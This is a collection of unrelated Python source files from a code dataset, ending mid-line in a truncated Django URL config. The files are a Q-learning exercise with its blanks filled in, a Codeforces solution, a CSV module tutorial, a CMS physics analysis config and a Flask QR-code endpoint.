def train(self, obs, reward):\n if self.last_obs is not None:\n assert(self.last_action is not None)\n last_obs_key, obs_key = [self.observation_to_key(o) for o in [self.last_obs, obs]]\n \n # 見たことないようなら辞書に追加\n if last_obs_key not in self.q_table:\n self.q_table[last_obs_key] = [0.0 for act in range(self.action_num)]\n\n # Q値のtarget を r + \\gamma * max_a' Q(s', a') で求める\n if obs_key in self.q_table:\n # ---穴埋め---\n # max_q に \\max_{action \\in A} Q(obs, action)が入るようにしてください。\n # Aは整数の集合 A = {0, 1, ..., (self.action_num - 1)} です。\n # Hint: np.max() を使うと良いでしょう。\n # self.q_table の実装がどのようになっているかに注意してください。\n # ------------\n max_q = np.max(self.q_table[obs_key])\n # raise NotImplementedError()\n # ------------\n else:\n max_q = 0.0\n\n # Q学習をする。\n # ---穴埋め---\n # Q値を適切に更新してください。\n # なお、データ (s, a, r, s') が与えられたとき、Q学習の更新式は\n # Q(s, a) = (1 - p) * Q(s, a) + p * ( r + g * max_{a'} {Q(s', a') } )\n # です。ここで、pは学習率、gは割引率です。\n # ------------\n self.q_table[last_obs_key][self.last_action] = (1 - self.learning_rate) * self.q_table[last_obs_key][self.last_action] + self.learning_rate * (reward + self.discount_factor * max_q)\n # raise NotImplementedError()\n # ------------\n\n # 観測を保存\n self.last_obs = obs\n\n def select_action(self, obs):\n obs_key = self.observation_to_key(obs)\n if obs_key in self.q_table:\n # 観測から行動を決める\n action = self.epsilon_greedy(obs_key)\n else:\n # Q値がまだ定まっていないのでランダムに動く\n action = np.random.randint(self.action_num)\n self.last_action = action\n return action\n\n def observation_to_key(self, obs):\n return tuple(obs.values())\n\n def epsilon_greedy(self, obs_key):\n # 次の行動を epsilon-greedy ( max_a Q(s, a) )で決める\n\n # exploration (探索)\n # ---穴埋め---\n # random_action に 0, 1, ..., (self.action_num - 1)のうちランダムな番号が入るようにしてください。\n # Hint: random_agent.py を参考にしてみましょう。\n # ------------\n random_action = np.random.randint(self.action_num)\n # raise NotImplementedError()\n # ------------\n\n # exploitation (活用)\n # ---穴埋め---\n # max_q_action に 0, 1, ..., (self.action_num - 1)のうちQ値の最も大きい番号が入るようにしてください。\n # Hint: np.argmax() を使うとよいでしょう。\n # ------------\n max_q_action = np.argmax(self.q_table[obs_key])\n # raise NotImplementedError()\n # ------------\n\n # どっちか選択\n # ---穴埋め---\n # action に確率 e で random_action が、確率 1-e でmax_q_action が入るようにしてください。\n # Hint: np.random.choice() を使うとよいでしょう。\n # ------------\n action = np.random.choice([random_action,max_q_action], p=[self.exploration_prob,1-self.exploration_prob])\n # raise NotImplementedError()\n # ------------\n\n return action\n\n def q_table_to_str(self):\n \"\"\"Q_table をいい感じに複数行の文字列にして返す\"\"\"\n def get_q(y, x, a):\n \"\"\"obs=(y, x), action=a におけるQ値を返す\"\"\"\n obs_key = self.observation_to_key(OrderedDict(sorted([['y', y], ['x', x]])))\n if obs_key in self.q_table:\n return self.q_table[obs_key][a]\n else:\n return 0.0\n\n def get_format(j, i, y, x):\n \"\"\"P = (y, x) における出力をうまいこと整形する\n (j, i)が\n (-1, -1) (-1, 0) (-1, 1)\n ( 0, -1) (0,0)(P) ( 0, 1)\n ( 1, -1) ( 1, 0) ( 1, 1)\n の位置に対応している\n \"\"\"\n form_q = ' {0:04.2f} '\n form_space = ' ' * 6\n form_center = '({0:1d}, {1:1d})'\n d = abs(i) + abs(j)\n if d == 0:\n return form_center.format(y, x)\n elif d == 1:\n return form_q.format(get_q(y, x, [3, 1][(j + 1) // 2] if i == 0 else [2, 0][(i + 1) // 2]))\n else:\n return form_space\n\n return_str = ''\n for y in range(self.observation_num['y']):\n for tate in [-1, 0, 1]: # [上段, 中段, 下段]\n for x in range(self.observation_num['x']):\n return_str += ''.join([get_format(tate, yoko, y, x) for yoko in [-1, 0, 1]])\n return_str += '\\n'\n return_str += '\\n'\n return return_str\n","sub_path":"rl/agents/table_q_agent.py","file_name":"table_q_agent.py","file_ext":"py","file_size_in_byte":6749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"363467517","text":"s, k = input(), int(input())\n\ninf = 200\n\nmin_len = len(s) - 2 * (s.count('?') + s.count('*'))\n\nmax_len = inf if '*' in s else len(s) - s.count('?')\n\nif min_len <= k <= max_len:\n\tif '*' in s:\n\t\tlast_snowflake_index = len(s) - 1 - s[::-1].index('*')\n\t\trepeats_needed = k - (len(s) - 2 * (s.count('?') + s.count('*')) + 1)\n\n\t\ta = ''\n\t\tfor i in range(len(s)):\n\t\t\tif s[i] == '?':\n\t\t\t\ta = a[:-1]\n\t\t\telif s[i] == '*':\n\t\t\t\tif i < last_snowflake_index:\n\t\t\t\t\ta = a[:-1]\n\t\t\t\telse:\n\t\t\t\t\tif repeats_needed >= 0:\n\t\t\t\t\t\ta += repeats_needed * s[i - 1]\n\t\t\t\t\telse:\n\t\t\t\t\t\ta = a[:-1]\n\t\t\telse:\n\t\t\t\ta += s[i]\n\n\t\tprint(a)\n\telse:\n\t\tremoves_needed = len(s) - s.count('?') - k\n\n\t\ta = ''\n\t\tfor i in range(len(s)):\n\t\t\tif s[i] == '?':\n\t\t\t\tif removes_needed > 0:\n\t\t\t\t\ta = a[:-1]\n\t\t\t\t\tremoves_needed -= 1\n\t\t\telse:\n\t\t\t\ta += s[i]\n\n\t\tprint(a)\nelse:\n\tprint('Impossible')\n","sub_path":"codeforces/1099/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"262680464","text":"'''\nexpanalysis/maths.py: part of expanalysis package\nmath functions\n\n'''\nimport numpy\n\ndef check_numeric(v):\n if isinstance(v,list):\n v = numpy.array(v)\n if (v.dtype == numpy.float64 or v.dtype == numpy.int64):\n return True\n else:\n return False\n","sub_path":"expanalysis/maths.py","file_name":"maths.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"582546744","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process('PhiPlusPlusPresel')\n\n# Complete Preselection Sequence for Phi++ analysis\n\nprocess.load('Configuration/StandardSequences/Services_cff')\nprocess.load('FWCore/MessageService/MessageLogger_cfi')\n\nprocess.load(\"Configuration/StandardSequences/Reconstruction_cff\")\n\n# import of standard configurations\nprocess.load('Configuration/StandardSequences/Services_cff')\nprocess.load('FWCore/MessageService/MessageLogger_cfi')\nprocess.load('Configuration/StandardSequences/GeometryIdeal_cff')\nprocess.load('Configuration/StandardSequences/MagneticField_AutoFromDBCurrent_cff')\nprocess.load('Configuration/StandardSequences/EndOfProcess_cff')\nprocess.load('Configuration/StandardSequences/FrontierConditions_GlobalTag_cff')\nprocess.load('Configuration/EventContent/EventContent_cff')\nprocess.load(\"HiggsAnalysis.HiggsToZZ4Leptons.simpleEleIdSequence_cff\")\nprocess.load(\"RecoTauTag.Configuration.RecoPFTauTag_cff\")\nprocess.load(\"HiggsAnalysis.HiggsToZZ4Leptons.hTozzTo4leptonsPFIsolationProducer_cff\")\n\n\nprocess.GlobalTag.globaltag = \"START42_V13::All\"\n\n# Preselection analysis sequence\nprocess.load('HiggsAnalysis/HiggsToZZ4Leptons/phiplusplusPreselection_cff')\n\nprocess.hTozzTo4leptonsCommonRootTreePresel.fillPUinfo = True\nprocess.higgsToZZ4LeptonsSkimFilterData.useHLT = cms.untracked.bool(False) \n \nprocess.higgsToZZ4LeptonsHLTAnalysisData.TriggerResultsTag = cms.InputTag(\"TriggerResults\",\"\",\"HLT\")\nprocess.hTozzTo4leptonsHLTAnalysisData.TriggerResultsTag = cms.InputTag(\"TriggerResults\",\"\",\"HLT\")\nprocess.hTozzTo4leptonsHLTInfo.TriggerResultsTag = cms.InputTag(\"TriggerResults\",\"\",\"HLT\")\n\nprocess.patTrigger.processName=cms.string(\"HLT\")\nprocess.hTozzTo4leptonsHLTInfo.TriggerResultsTag=cms.InputTag(\"TriggerResults\",\"\",\"HLT\")\nprocess.hTozzTo4leptonsCommonRootTreePresel.triggerEvent = cms.InputTag(\"hltTriggerSummaryAOD\",\"\",\"HLT\")\n\nprocess.hTozzTo4leptonsCommonRootTreePresel.triggerFilter = cms.string('hltDiMuonL3PreFiltered7')\nprocess.hTozzTo4leptonsCommonRootTreePresel.triggerFilterAsym = cms.vstring('hltDiMuonL3PreFiltered8','hltDiMuonL3p5PreFiltered8')\n \n\nprocess.hTozzTo4leptonsSelectionPath = cms.Path(process.hTozzTo4leptonsMuonSelector + process.simpleEleIdSequence + process.PFTau + process.phiplusplusSelectionSequence)\n\nprocess.load('HiggsAnalysis/HiggsToZZ4Leptons/hTozzTo4leptonsOutputModule_cff')\nfrom HiggsAnalysis.HiggsToZZ4Leptons.hTozzTo4leptonsOutputModule_cff import *\nprocess.hTozzTo4leptonsSelectionOutputModuleNew = hTozzTo4leptonsSelectionOutputModule.clone()\nprocess.hTozzTo4leptonsSelectionOutputModuleNew.fileName = \"phiplusplus_MC.root\"\n\nprocess.maxEvents = cms.untracked.PSet(input = cms.untracked.int32(100))\n\nprocess.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(\n'file:/lustre/cms/store/mc/Summer11/HPlusPlusHMinusMinusHTo4L_M-350_7TeV-pythia6/AODSIM/PU_S4_START42_V11-v1/0000/187C9AD7-BAA2-E011-B419-003048D460FC.root'\n#'file:/lustre/cms/store/mc/Summer11/HPlusPlusHMinusHTo3L_M-250_7TeV-calchep-pythia6/AODSIM/PU_S4_START42_V11-v1/0000/368FF930-BDC5-E011-86D8-00215E221224.root'\n )\n )\n\n\n# Endpath\n# process.o = cms.EndPath ( process.hTozzTo4leptonsSelectionOutputModuleNew )\n\n","sub_path":"HiggsAnalysis/HiggsToZZ4Leptons/python/PhiPlusPlusPreselection_MC.py","file_name":"PhiPlusPlusPreselection_MC.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"231048351","text":"#################################\n## CSV Module\n## Readind CSV Files\n#################################\n\n###CSV File - (airtravel.csv) - attached to this lecture\n# \"Month\", \"1958\", \"1959\", \"1960\"\n# \"JAN\", 340, 360, 417\n# \"FEB\", 318, 342, 391\n# \"MAR\", 362, 406, 419\n# \"APR\", 348, 396, 461\n# \"MAY\", 363, 420, 472\n# \"JUN\", 435, 472, 535\n# \"JUL\", 491, 548, 622\n# \"AUG\", 505, 559, 606\n# \"SEP\", 404, 463, 508\n# \"OCT\", 359, 407, 461\n# \"NOV\", 310, 362, 390\n# \"DEC\", 337, 405, 432\n\n## Importing the module\nimport csv\n\n## Opening the file in read-only mode. airtravel.csv is in the same directory with the python script\nwith open('airtravel.csv', 'r') as csv_file:\n reader = csv.reader(csv_file) # using a csv.reader object\n\n next(reader) # skipping the first line (header)\n for row in reader:\n print(row) # row is a list, each field is list element\n\n#################################\n## CSV Module\n## Writing CSV Files\n#################################\n\n## Importing the module\nimport csv\n\n## Opening people.csv in append-mode\nwith open('people.csv', 'a') as csvfile:\n writer = csv.writer(csvfile) # getting a csv.writer object\n csvdata = (5, 'Anne', 'Amsterdam')\n writer.writerow(csvdata) # appending a line to the end file. csvdata is a tuple\n\n## Opening numbers.csv in write-mode\nwith open('numbers.csv', 'w', newline='') as f:\n writer = csv.writer(f)\n writer.writerow(['x', 'x**2', 'x**3', 'x**4'])\n for x in range(1, 101):\n writer.writerow([x, x ** 2, x ** 3, x ** 4])\n\n#################################\n## CSV Module\n## Using CSV Dialects\n#################################\n\nimport csv\n\n## Printing available csv dialects\nprint(csv.list_dialects())\n\n## passwd file - passwd.csv is attached to this lecture\n# root:x:0:0:root:/root:/bin/bash\n# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n# bin:x:2:2:bin:/bin:/usr/sbin/nologin\n# sys:x:3:3:sys:/dev:/usr/sbin/nologin\n# sync:x:4:65534:sync:/bin:/bin/sync\n# games:x:5:60:games:/usr/games:/usr/sbin/nologin\n# man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n\n## Reading /etc/passwd (Linux file) using a custom delimiter (:)\nwith open('/etc/passwd', 'r') as f:\n reader = csv.reader(f, delimiter=':', lineterminator='\\n')\n for row in reader:\n print(row)\n\n## item.csv file (attached to this lecture)\n# items#quantity#price\n# pens#3#8.8\n# plates#15#2.6\n# cups#44#1.1\n# bottles#21#3.5\n\n## Creating a custom dialect named hashes\ncsv.register_dialect('hashes', delimiter='#', quoting=csv.QUOTE_NONE, lineterminator='\\n')\n\n## Reading items.csv file\nwith open('items.csv', 'r') as csvfile:\n reader = csv.reader(csvfile, dialect='hashes')\n for row in reader:\n print(row)\n\n## Appending a line to the csv file\nwith open('items.csv', 'a') as csvfile:\n writer = csv.writer(csvfile, dialect='hashes')\n writer.writerow(('spoon', 3, 1.5))","sub_path":"csv_example.py","file_name":"csv_example.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"193797092","text":"# -*- coding: utf-8 -*-\n\nimport io\n\nimport qrcode\nfrom flask import Blueprint, request, send_file\n\nfrom errors import (\n MissingArguments,\n)\n\n\nqr = Blueprint('qr', __name__)\n\n\n@qr.route('/', methods=('GET',))\ndef index():\n '''生成二维码'''\n if 'text' not in request.args or not request.args['text']:\n raise MissingArguments()\n _qrcode = qrcode.QRCode(\n version=1,\n error_correction=qrcode.constants.ERROR_CORRECT_H,\n box_size=10,\n border=4\n )\n _qrcode.add_data(request.args['text'])\n _qrcode.make(fit=True)\n _img = _qrcode.make_image(fill_color='black', back_color='white')\n _bytes = io.BytesIO()\n _img.save(_bytes, 'png')\n _bytes.seek(0)\n\n return send_file(_bytes, mimetype='mime/png')\n","sub_path":"src/qr/qr.py","file_name":"qr.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"387145937","text":"from django.conf.urls import url\n\nfrom . import views\n\napp_name = 'umbrella_system'\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n # ex: /umbrella_system/201606/date/\n url(r'^(?P[0-9]+)/date/$', views.date, name='date'),\n url(r'^login/$', views.login, name='login'),\n url(r'^login_go/$', views.login_go, name='login_go'),\n url(r'^logout/$', views.logout, name='logout'),\n url(r'^(?P[0-9]+)/(?P[0-9]+)/(?P